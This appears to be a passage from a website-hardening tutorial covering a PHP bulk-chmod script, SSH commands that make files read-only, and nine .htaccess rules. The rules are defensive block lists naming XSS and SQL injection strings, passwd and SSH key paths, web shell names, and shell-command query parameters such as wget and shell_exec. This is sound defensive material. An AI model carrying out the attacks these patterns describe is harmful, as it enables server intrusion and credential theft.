<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<td><select name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">fic1</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">4</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>4</option><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">6</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> selected>6</option></select><select name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">fic2</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">0</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>0</option><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">4</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> selected>4</option><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">6</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>6</option></select><select name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">fic3</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">0</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>0</option><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">4</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> selected>4</option><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">6</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>6</option></select></td></tr>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<tr><td>Directory to control: </td>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<td>"</span><span style="color: #666666">.</span>ABSPATH<span style="color: #666666">.</span><span style="color: #BA2121">" <input type=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">text</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">chemin</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> maxlength=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">80</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> size=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">30</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">/</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> ></td></tr>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<tr><td> </td><td><strong style=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">color:red</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>CAUTION: MODIFICATIONS INCLUDE CHILDREN'S FOLDERS AND THEIR FILES.</strong></td></tr>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"<tr><td> </td><td><input type=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">submit</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> Change CHMODs of Folders and Files </span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"</form>"</span>;
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"</td></tr></table>"</span>;
<span style="color: #008000; font-weight: bold">if</span> ( (<span style="color: #19177C">$dosPerm</span><span style="color: #666666">||</span><span style="color: #19177C">$ficPerm</span>) <span style="color: #666666">></span> <span style="color: #666666">0</span> ){
<span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">rChmod</span>(<span style="color: #19177C">$chem</span>,<span style="color: #19177C">$dosPerm</span>,<span style="color: #19177C">$ficPerm</span>) {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">"<p><b>Log:</b></p></span><span style="color: #BB6622; font-weight: bold">\r\n</span><span style="color: #BA2121">"</span>;
<span style="color: #19177C">$d</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">new</span> RecursiveDirectoryIterator(<span style="color: #19177C">$chem</span>, FilesystemIterator<span style="color: #666666">::</span><span style="color: #7D9029">SKIP_DOTS</span>);
<span style="color: #008000; font-weight: bold">foreach</span> (<span style="color: #008000; font-weight: bold">new</span> RecursiveIteratorIterator(<span style="color: #19177C">$d</span>, <span style="color: #666666">1</span>) <span style="color: #008000; font-weight: bold">as</span> <span style="color: #19177C">$path</span>) {
<span style="color: #19177C">$chmodret</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">false</span>;
<span style="color: #19177C">$chmodresultat</span> <span style="color: #666666">=</span> <span style="color: #BA2121">""</span>;
<span style="color: #008000; font-weight: bold">if</span> ( <span style="color: #19177C">$path</span><span style="color: #666666">-></span><span style="color: #7D9029">isDir</span>() ) {
<span style="color: #19177C">$chmodret</span> <span style="color: #666666">=</span> <span style="color: #008000">chmod</span>( <span style="color: #19177C">$path</span>, <span style="color: #19177C">$dosPerm</span> ); }
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #008000; font-weight: bold">if</span> ( <span style="color: #008000">is_file</span>( <span style="color: #19177C">$path</span> ) ) {
<span style="color: #19177C">$chmodret</span> <span style="color: #666666">=</span> <span style="color: #008000">chmod</span>( <span style="color: #19177C">$path</span>, <span style="color: #19177C">$ficPerm</span> ); }
}
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$chmodret</span>) {<span style="color: #19177C">$chmodresultat</span> <span style="color: #666666">=</span> <span style="color: #BA2121">"OK"</span>; }
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #19177C">$chmodresultat</span> <span style="color: #666666">=</span> <span style="color: #BA2121">"ERROR"</span>;
<span style="color: #666666">++</span><span style="color: #19177C">$retval</span>;
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #19177C">$chmodresultat</span> <span style="color: #666666">.</span> <span style="color: #BA2121">" "</span> <span style="color: #666666">.</span> <span style="color: #19177C">$path</span> <span style="color: #666666">.</span> <span style="color: #BA2121">"<br /></span><span style="color: #BB6622; font-weight: bold">\r\n</span><span style="color: #BA2121">"</span>;
}
<span style="color: #008000; font-weight: bold">return</span> <span style="color: #19177C">$retval</span>;
}
<span style="color: #19177C">$nbfailed</span> <span style="color: #666666">=</span> rChmod(<span style="color: #19177C">$chem</span>,<span style="color: #19177C">$dosPerm</span>,<span style="color: #19177C">$ficPerm</span>);
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">"<p><b>"</span>;
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$nbfailed</span> <span style="color: #666666">></span> <span style="color: #666666">0</span>) {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #19177C">$nbfailed</span> <span style="color: #666666">.</span> <span style="color: #BA2121">" error(s) CHMOD. See the log above."</span>;
}
<span style="color: #008000; font-weight: bold">else</span> <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">"No apparent error. Check for yourself.</b> Delete the file after use.</p></span><span style="color: #BB6622; font-weight: bold">\r\n</span><span style="color: #BA2121">"</span>;
}
<span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">"</body></html>"</span>;
<span style="color: #BC7A00">?></span>
</pre></div>
<p>It is possible to speed up the change of permission with SSH by automating this action. Your webhost must give you access to an SSH connection.<br>
With a script that does <a href="http://sourceforge.net/projects/shcmd/">pseudo-ssh in PHP</a>, put the file in the “www” or “public_html” folder and start working.<br>
Changing all permissions via FTP of all files and folders can be time consuming and tedious with the risk of forgetting some of them. I use the command lines below to quickly change permission via SSH.</p>
<p>Login to your account using SSH, then go to the “www” (or “public_html”) folder by entering the cd command www , and enter the following commands in a single line (after modifying the names of files and folders as needed):<br>
In SSH mode, put yourself in the “www” or “public_html” directory before starting.<br>
Copy one line, press the Enter key, and copy another line, press the Enter key, etc. after changing the names of the files and folders as needed.</p>
<p>All files have 404 or 444 permission (<em>read permission, no write permission</em>):</p>
<span class="smallfont">Code:</span>
<pre class="smallfont code">find . -type f -print0 | xargs -0 chmod 404</pre>
<p>All folders have the permissions 505 or 555 (<em>read permission, no write permission).</em>):</p>
<span class="smallfont">Code:</span>
<pre class="smallfont code">find . -type d -print0 | xargs -0 chmod 505</pre>
<p>All files with the name “.htaccess” have 404 or 444 permission (<em>read permission, no write permission, etc.).</em>):</p>
<span class="smallfont">Code:</span>
<pre class="smallfont code">find . -type f -name .htaccess -print0 | xargs -0 chmod 404</pre>
<p>All files containing the name “config*.php” (use of the wildcard character *) in the “blog” folder have 404 rights (<em>read permission, no write permission</em>):</p>
<span class="smallfont">Code:</span>
<pre class="smallfont code">find /home/loginftp/www/blog -type f -name "config*.php" -print0 | xargs -0 chmod 404</pre>
<p>All php files (“*.php” using the wildcard character *) have permissions 404 or 444 (<em>right to read, no right to write</em>):</p>
<span class="smallfont">Code:</span>
<pre class="smallfont code">find . -type f -name "*.php" -print0 | xargs -0 chmod 404</pre>
<p>All folders with the name “folder_to_lock” have the permission 505 or 555 (<em>read permission, no write permission, etc.</em>):</p>
<span class="smallfont">Code:</span>
<pre class="smallfont code">find . -type d -name folder_to_lock -print0 | xargs -0 chmod 505</pre>
<p>All folders that contain the word upload, such as “123-upload” or “uploadthing” (“*upload*” using the wildcard character *) that are located in the folder “forum” have permission 705 (<em> read and write permission for you and the server</em>):</p>
<span class="smallfont">Code:</span>
<pre class="smallfont code">find /home/loginftp/www/forum -type d -name "*upload*" -print0 | xargs -0 chmod 705</pre>
<p><a href="https://en.wikipedia.org/wiki/Chmod">An article on the meaning of CHMOD and the meaning of numbers.</a></p>
<a id="htaccess"></a><hr><br>
<header>
<h2>The .htaccess file</h2>
</header>
<p>I present 9 tips to secure your website. They are very effective and stop many hacking attempts <strong>before</strong> your CMS, blog or e-commerce takes action. So, to some extent, if your software has a flaw, maybe these rules will prevent it from being exploited. Don't install these rules all at once, follow the installation and testing guidelines after Tip #9. <strong>Apply at least rules 3, 4, 5 and 6 which are very effective</strong>, they will protect you from 90% of automatic attacks with little risk of blocking your website.</p>
<p>Create the .htaccess file with a plain text program (anything but Word). Call it “txt.htaccess”, send it by FTP to your www folder and rename it to “.htaccess”. If the file already exists, add the rules described below after the text. Then FTP it with the permission 404 or 444. It will not be editable.</p>
<p>Here is a series of commands to secure your website.</p>
<p><strong>1-</strong> Prohibit access to this file from a web browser:</p>
<span class="smallfont">Code:</span>
<!-- HTML generated using hilite.me --><div class="smallfont code" style="overflow:auto;width:auto;padding:.2em .6em;"><pre style="margin: 0; line-height: 125%"><span style="color: #008000; font-weight: bold"><Files</span> <span style="color: #BA2121">.htaccess</span><span style="color: #008000; font-weight: bold">></span>
<span style="color: #008000">order</span> allow,deny
<span style="color: #008000">deny</span> from <span style="color: #008000; font-weight: bold">all</span>
<span style="color: #008000; font-weight: bold"></Files></span>
</pre></div>
<p><strong>2-</strong> Prohibit listing the contents of a folder:</p>
<span class="smallfont">Code:</span>
<!-- HTML generated using hilite.me --><div class="smallfont code" style="overflow:auto;width:auto;padding:.2em .6em;"><pre style="margin: 0; line-height: 125%"><span style="color: #008000">Options</span> -Indexes
</pre></div>
<p><strong>3-</strong> We are blocking a whole series of potential vulnerabilities. Most hackers use these means to test the weakness of your site. Here, we block them before they penetrate your CMS, blog or e-commerce. <strong class="vert">-= HIGHLY EFFECTIVE AND ESSENTIAL =-</strong></p>
<span class="smallfont">Code:</span>
<!-- HTML generated using hilite.me --><div class="smallfont code" style="overflow:auto;width:auto;padding:.2em .6em;"><pre style="margin: 0; line-height: 125%"><span style="color: #408080; font-style: italic">### FILTER AGAINST XSS, HTTP REDIRECT, base64_encode, PHP GLOBALS VARIABLE VIA URL, CHANGE VARIABLE _REQUEST VIA URL, TEST PHP WEAKNESS, SIMPLE INJECTION SQL</span>
<span style="color: #008000">RewriteEngine</span> <span style="color: #008000; font-weight: bold">On</span>
<span style="color: #008000">RewriteCond</span> %{REQUEST_METHOD} (GET|POST) [NC]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^(.*)(%3C|<)/?(no)?script(.*)$ [NC,OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^(.*)(%3D|=)?javascript(%3A|:)(.*)$ [NC,OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^(.*)document\.location\.href(.*)$ [OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^.*(%24&x).* [NC,OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^.*(127\.0).* [NC,OR]
<span style="color: #408080; font-style: italic">## WATCH OUT FOR THIS RULE. IT CAN BREAK SOME REDIRECTIONS THAT LOOK LIKE À: http://www.thing.com/index.php?r=http://www.bit.com</span>
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^(.*)(%3D|=|%2B|\+)(%27|'|%22|\")?(https?|ftp|mosConfig)(%3A|:)(%2F%2F|//)(.*)$ [NC,OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^.*(_encode|localhost|loopback).* [NC,OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^author=[1-9] [NC,OR] ## recherche page auteur Wordpress pour deviner le login
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^(.*)(GLOBALS|_REQUEST|DOCUMENT_ROOT|_SERVER|_POST)(=|\[|%[0-9A-Z]{0,2})(.*)$ [OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^(.*)(SELECT(%20|\+)|UNION(%20|\+)ALL|INSERT(%20|\+)|DELETE(%20|\+)|CHAR\(|UPDATE(%20|\+)|REPLACE(%20|\+)|LIMIT(%20|\+)|CONCAT(%20|\+)|DECLARE(%20|\+))(.*)$ [NC]
<span style="color: #008000">RewriteRule</span> (.*) - [F]
</pre></div>
<p><strong>4-</strong> We are blocking some weird requests: <strong class="vert">-= HIGHLY EFFECTIVE AND ESSENTIAL =-</strong></p>
<span class="smallfont">Code:</span>
<!-- HTML generated using hilite.me --><div class="smallfont code" style="overflow:auto;width:auto;padding:.2em .6em;"><pre style="margin: 0; line-height: 125%"><span style="color: #408080; font-style: italic">### FAKE URLS OR OLD OBSOLETE SYSTEMS OR DEFAULT URLS TO AVOID, WE NEUTRALIZE THEM.</span>
<span style="color: #008000">RewriteRule</span> "(base64|boot\.ini|eval\(|\(null\)|^[-_a-z0-9/\.]*//.*|etc(%2F|/)passwd|(%3D|=)\.\./\.\./|^_vti.*|^MSOffice.*|fckeditor/|elfinder/|^simpla/|zoho/|jquery-file-upload/server/|/assetmanager/|wwwroot|e107\_|^netcat/|^indy/|^etm/|^static/|^downloader/|trackback|^pma/|phpmyadmin/|^(my?)sql\.|^dump\.|^db\.|^database\.|^backups?\.|^httpdoc\.|^public_html\.|^old[-_]\.|^pack\.|^iismap\.)" - [NC,F]
<span style="color: #408080; font-style: italic">### DISABLE QUERY METHODS DELETE, PUT, PATCH OF WEBDAV</span>
<span style="color: #008000">RewriteCond</span> %{REQUEST_METHOD} ^(DELETE|PUT|PATCH) [NC,F]
</pre></div>
<p><strong>5-</strong> Some files are only allowed to be displayed, others are not. The index.php file is the default file. If we display index.htm, it doesn't work. The purpose is to prohibit the pirate to display on his browser a file or a file format that is not authorized. <strong class="vert">-= <u>VERY</u> <u>VERY</u> <u>VERY</u> EFFECTIVE BUT TO BE TESTED AND ADAPTED TO YOUR INSTALLATION =-</strong><br>
Caution: these prohibitions must be tested and adapted if necessary.</p>
<span class="smallfont">Code:</span>
<!-- HTML generated using hilite.me --><div class="smallfont code" style="overflow:auto;width:auto;padding:.2em .6em;"><pre style="margin: 0; line-height: 125%"><span style="color: #408080; font-style: italic">### ONLY THE index.php FILE IS SERVICED AS THE FIRST FILE BY DEFAULT. THE OTHERS ARE FORBIDDEN</span>
<span style="color: #008000">DirectoryIndex</span> index.php
<span style="color: #008000">RewriteEngine</span> <span style="color: #008000; font-weight: bold">On</span>
<span style="color: #408080; font-style: italic">### PROHIBIT OTHER INDEX FILE TYPES</span>
<span style="color: #008000">RewriteRule</span> <span style="color: #BA2121">"^(index)\.(p?s?x?htm?|txt|aspx?|cfml?|cgi|pl|php[3-9]|jsp|xml)$"</span> - [NC,F]
<span style="color: #408080; font-style: italic">### DISALLOW THE DISPLAY OF CERTAIN FILE FORMATS EXECUTED BY THE SERVER </span>
<span style="color: #408080; font-style: italic">### BUT NOT ALLOWED TO BE DISPLAYED BY THE WEB BROWSER</span>
<span style="color: #008000">RewriteRule</span> <span style="color: #BA2121">"(\.(aspx?|backup|bak|bash|bat|bin|bkp|c|cfg|class|cmd|com|conf|config|cvs|cxz|dat|db|dist|dll|dos|env|exe|fla|git|h|hg|inc|ini|jsp|key|lnk|log|mdb|module|mso|old|pass|pdb|pl|pol|printer|psd|pwd|py|rar|resources|sh|spd|sql|svn|sw[op]|sys|theme|tpl|webinfo)|~)$"</span> - [NC,F]
<span style="color: #408080; font-style: italic">### PROHIBIT ACCESS TO CERTAIN FOLDERS BY THE WEB BROWSER </span>
<span style="color: #408080; font-style: italic">### BUT AUTHORIZED AND EXECUTED BY THE SERVER</span>
<span style="color: #408080; font-style: italic">### TO BE ADAPTED IF THIS IS A PROBLEM</span>
<span style="color: #008000">RewriteRule</span> <span style="color: #BA2121">"(\.svn|\.git|\.hg|\.bzr|\.env|\.cvs|\.ssh|install?|users?|modules|node|core|config(ure|uration)?|options?|settings?|functions?|setup|[-_a-z0-9.]*cms[-_a-z0-9.]*|[-_a-z0-9.]*php[-_a-z0-9.]*|null|^root|^logs?)/.*"</span> - [NC,F]
<span style="color: #408080; font-style: italic">### PROHIBIT THE DISPLAY OF CERTAIN FILES SUCH AS readme, changelog, default, xmlrpc. </span>
<span style="color: #408080; font-style: italic">### THESE FILES GIVE VALUABLE INFORMATION ABOUT THE INSTALLED CONFIGURATION (SERVER NAME AND VERSION NUMBER). </span>
<span style="color: #408080; font-style: italic">### TO BE ADAPTED IF THIS IS A PROBLEM</span>
<span style="color: #008000">RewriteRule</span> <span style="color: #BA2121">"(readme|changelog|license|default|home|xmlrpc|local|errors?|debug|hacke?r?d?|php|shell|ssh|roots?|cmd|null|test|data)\.(p?s?x?htm?l?|txt|md|log|aspx?|cfml?|cgi|pl|php[3-9]{0,1}|jsp?|sql|xml)$"</span> - [NC,F]
<span style="color: #408080; font-style: italic">### PROTECTION OF UNSECURED AND UNAUTHORIZED SFTP SYNCHRONIZATION ACCESS FROM A WEB BROWSER</span>
<span style="color: #008000">RewriteRule</span> <span style="color: #BA2121">"\.?(s?ftp|remote|deployment|ws_ftp|winscp|filezilla|webservers)-?(config|sync)?\.(json|settings?|ini|xml)$"</span> - [NC,F]
<span style="color: #008000">RewriteRule</span> <span style="color: #BA2121">"(\.ssh/)?(id_[rdec1259]+sa)$"</span> - [NC,F]
<span style="color: #408080; font-style: italic">### IF YOU DON'T USE CMS, YOU CAN ADD THE CODE BELOW, </span>
<span style="color: #408080; font-style: italic">### OR GET SOME IDEAS ON HOW TO LOCK YOUR CMS EVEN BETTER.</span>
<span style="color: #008000">RewriteRule</span> <span style="color: #BA2121">"(install?|users?|upload(er)?|regist(er|ration)|config(\.inc|ure|uration)?|options?(\.inc)?|settings?(\.inc)?|functions?(\.inc)?|setup(\.inc)?)\.(p?s?x?htm?l?|css|txt|md|log|aspx?|cfml?|cgi|pl|php[3-9]{0,1}|jsp?)$"</span> - [NC,F]
<span style="color: #408080; font-style: italic">### FORBID ACCESS TO THE INTERFACES OF WORDPRESS ADMINISTRATION OR OTHER CMS</span>
<span style="color: #408080; font-style: italic">### WITH A CLASSIC DEFAULT ACCESS THAT CAN EASILY BE GUESSED LIKE login or wp-login, admin, manager, etc.</span>
<span style="color: #408080; font-style: italic">### OR GET SOME IDEAS ON HOW TO LOCK YOUR CMS EVEN BETTER.</span>
<span style="color: #008000">RewriteRule</span> <span style="color: #BA2121">"(wp-?|wordpress|login|(my)?admin(istrator)?(zone)?|blog/|^modules|^manager)"</span> - [NC,F]
</pre></div>
<p><strong>6-</strong> Prevent the execution of any PHP, Perl, CGI script in a directory. The option below allows you for example to protect an upload folder or any very sensitive folder that you want to make more secure. Do not use this option in the .htaccess file with all the codes described above. Instead, I invite you to create an .htaccess file and put it in the folder you want to protect. This option prevents a web browser from executing the script directly. But if the browser opens the index.php file that makes an include() to a php file in the folder protected by the code below, everything will run fine. This protects the direct execution of the file by a browser when the cracker tries to enter unfiltered malicious code. <strong class="vert">-= HIGHLY EFFECTIVE AND ESSENTIAL =-</strong></p>
<span class="smallfont">Code:</span>
<!-- HTML generated using hilite.me --><div class="smallfont code" style="overflow:auto;width:auto;padding:.2em .6em;"><pre style="margin: 0; line-height: 125%"><span style="color: #408080; font-style: italic">### No script in the directory and its subdirectories, whether PHP, PERL or other CGI, will be able to run if ExecCGI is inactive. And it is forbidden to display the list of files.</span>
<span style="color: #008000">OPTIONS</span> -ExecCGI -Indexes
</pre></div>
<p><strong>7-</strong> Exclude suspicious software used by hackers and some web site suckers. Apply this rule without too much risk, as it blocks some automatic attacks. This list is the minimum. You can add other if you find any. However, it is not as effective as it used to be because now all hacker robots use fake identities. We block the dumbest ones here.</p>
<span class="smallfont">Code:</span>
<!-- HTML generated using hilite.me --><div class="smallfont code" style="overflow:auto;width:auto;padding:.2em .6em;"><pre style="margin: 0; line-height: 125%"><span style="color: #408080; font-style: italic">### FILTER AGAINST SOME OF THE HACKERS' ROBOTS</span>
<span style="color: #008000">RewriteEngine</span> <span style="color: #008000; font-weight: bold">On</span>
<span style="color: #408080; font-style: italic">## EXCEPTION: ALL ROBOTS, EVEN ANONYMOUS OR BANNED ONES, CAN ACCESS THESE FILES.</span>
<span style="color: #008000">RewriteCond</span> %{REQUEST_URI} !^robots.txt
<span style="color: #008000">RewriteCond</span> %{REQUEST_URI} !^sitemap.xml
<span style="color: #408080; font-style: italic">## ANONYMES</span>
<span style="color: #008000">RewriteCond</span> %{HTTP_USER_AGENT} ^-?$ [OR]
<span style="color: #408080; font-style: italic">## LIBRARIES / HTTP CLASSES WE DON'T WANT. BE CAREFUL, THIS CAN BLOCK SOME FUNCTIONS OF YOUR CMS. DO NOT DELETE EVERYTHING, BUT LOOK FOR THE NAME OF THE HTTP CLASS CONCERNED (ASK THE DEVELOPERS OF YOUR CMS). THIS LIST BLOCKS 80% OF SPAMBOTS. YOU MUST KEEP IT.</span>
<span style="color: #008000">RewriteCond</span> %{HTTP_USER_AGENT} ^curl|^Fetch\ API\ Request|GT::WWW|^HTTP::Lite|httplib|^Java|^LeechFTP|lwp-trivial|^LWP|libWeb|libwww|^PEAR|PECL::HTTP|PHPCrawl|PycURL|^ReGet|Rsync|Snoopy|URI::Fetch|urllib|WebDAV|^Wget|^AnyConnect|Nmap\ Scripting [NC]
<span style="color: #408080; font-style: italic">## THOSE WHO INVENT NAMES AT RANDOM, REMOVE THE 2 HASH KEYS AT THE BEGINNING OF THE LINE TO ACTIVATE IT.</span>
<span style="color: #408080; font-style: italic">## RewriteCond %{HTTP_USER_AGENT} ^[bcdfghjklmnpqrstvwxz\ ]{10,}|^[0-9a-z]{15,}|^[0-9A-Za-z]{19,}|^[A-Za-z]{3,}\ [a-z]{4,}\ [a-z]{4,} [OR]</span>
<span style="color: #008000">RewriteRule</span> (.*) [F]
</pre></div>
<p><strong>8-</strong> No hotlinking. Replace <em>mydomain</em> by your domain name, and <em>\.fr</em> by fr, com, net, org or other extensions, keeping the \ before the dot.</p>
<span class="smallfont">Code:</span>
<!-- HTML generated using hilite.me --><div class="smallfont code" style="overflow:auto;width:auto;padding:.2em .6em;"><pre style="margin: 0; line-height: 125%"><span style="color: #408080; font-style: italic">### AVOID THE THEFT OF IMAGES, VIDEO, SOUND, STYLE SHEET, PDF AND ZIP</span>
<span style="color: #408080; font-style: italic">### VISITORS MUST PASS THROUGH THE SITE. </span>
<span style="color: #008000">RewriteEngine</span> <span style="color: #008000; font-weight: bold">on</span>
<span style="color: #008000">RewriteCond</span> %{HTTP_REFERER} !^$
<span style="color: #008000">RewriteCond</span> %{HTTP_REFERER} !^https?://[-a-z0-9.]*mydomain\.fr$ [NC]
<span style="color: #008000">RewriteCond</span> %{HTTP_REFERER} !^https?://[-a-z0-9.]*mydomain\.fr/.*$ [NC]
<span style="color: #408080; font-style: italic">## THESE DOMAINS MAY DISPLAY THE SITE ITEMS</span>
<span style="color: #008000">RewriteCond</span> %{HTTP_REFERER} !^https?://.*(translate|paypal|google|bing|yahoo|yandex|baidu|facebook|qwant|duck|ixquick|pinterest|twitter).*$ [NC]
<span style="color: #408080; font-style: italic">## CONNECTIONS THROUGH MOBILE APPS CAN DISPLAY THE ELEMENTS OF THE SITE</span>
<span style="color: #008000">RewriteCond</span> %{HTTP_REFERER} !^mobile?://.*$ [NC]
<span style="color: #008000">RewriteRule</span> .*\.(gif|jpe?g?|jp2|png|svgz?|css|pdf|zip|gz|js|mp3|m4a|mp4|mov|divx|avi|wma?v?|wmp|swf|flv|docx?|xlsx?|pptx?|vbs|rtf|asf?x?|odt|ods|odp|odg|odb|eot|ttf|woff|woff2)$ [NC,F]
</pre></div>
<p><strong>9-</strong> If hackers have managed to penetrate your site, they install a script that allows them to take control of your hosting. Here, most of the commands of these scripts are blocked. To be tested with your website because it is very powerful and efficient. On the 5th line, replace “/home/loginftp/” by your absolute file path before the “www” or “public_html” folder. <strong>This rule is very effective but can break your CMS, blog or e-commerce.</strong> Use it last, then test it intensely, and eventually delete the rule that causes the problem.</p>
<span class="smallfont">Code:</span>
<!-- HTML generated using hilite.me --><div class="smallfont code" style="overflow:auto;width:auto;padding:.2em .6em;"><pre style="margin: 0; line-height: 125%"><span style="color: #408080; font-style: italic">### FILTER AGAINST PHPSHELL.PHP, REMOTEVIEW, C99SHELL AND OTHERS AUTRES</span>
<span style="color: #008000">RewriteEngine</span> <span style="color: #008000; font-weight: bold">On</span>
<span style="color: #008000">RewriteCond</span> %{REQUEST_URI} .*((php|my)?shell|remview.*|phpremoteview.*|sshphp.*|pcom|nstview.*|c99|r57|webadmin.*|phpget.*|phpwriter.*|fileditor.*|locus7.*|storm7.*)\.(p?s?x?htm?l?|txt|aspx?|cfml?|cgi|pl|php[3-9]{0,1}|jsp?|sql|xml) [NC,OR]
<span style="color: #008000">RewriteCond</span> %{REQUEST_METHOD} (GET|POST) [NC]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^(.*)=/home/loginftp/(.*)$ [OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^work_dir=.*$ [OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^command=.*&amp;output.*$ [OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^nts_[a-z0-9_]{0,10}=.*$ [OR]
<span style="color: #408080; font-style: italic">## WATCH OUT FOR THIS RULE. IT CAN BREAK YOUR SITE</span>
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^(.*)cmd=.*$ [OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^c=(t|setup|codes)$ [OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^act=((about|cmd|selfremove|chbd|trojan|backc|massbrowsersploit|exploits|grablogins|upload.*)|((chmod|f)&amp;f=.*))$ [OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^act=(ls|search|fsbuff|encoder|tools|processes|ftpquickbrute|security|sql|eval|update|feedback|cmd|gofile|mkfile)&amp;d=.*$ [OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^&amp;?c=(l?v?i?&amp;d=|v&amp;fnot=|setup&amp;ref=|l&amp;r=|d&amp;d=|tree&amp;d|t&amp;d=|e&amp;d=|i&amp;d=|codes|md5crack).*$ [OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^(.*)([-_a-z]{1,15})=(ls|cd|cat|rm|mv|vim|chmod|chdir|concat|mkdir|rmdir|pwd|clear|whoami|uname|tar|zip|unzip|gzip|gunzip|grep|more|ln|umask|telnet|ssh|ftp|head|tail|which|mkmode|touch|logname|edit_file|search_text|find_text|php_eval|download_file|ftp_file_down|ftp_file_up|ftp_brute|mail_file|mysql|mysql_dump|db_query)([^a-zA-Z0-9].+)*$ [OR]
<span style="color: #008000">RewriteCond</span> %{QUERY_STRING} ^(.*)(wget|shell_exec|passthru|system|exec|popen|proc_open)(.*)$
<span style="color: #008000">RewriteRule</span> (.*) [F]
</pre></div>
<p><strong>Don't set these rules all at once.</strong><br>
Copy one, then test your CMS, blog or e-commerce by adding, modifying a page, add or delete a user, access your administration interface and do several things. If everything is OK, put another rule. In case of a problem, look at the URL called. There may be a keyword that is blocked by the .htaccess file. You will have to delete this keyword from the .htaccess file. You understood it, this system filters the URL and looks if it is in accordance with a normal use. So, if you get an error message, find the keyword that blocks the request.<br>
You have to adapt these rules to your case, it is not a simple copy and paste.</p>
<p>Later, when using your CMS, blog or e-commerce, you see a 403 error, then it is likely that a filtering rule is active.</p>
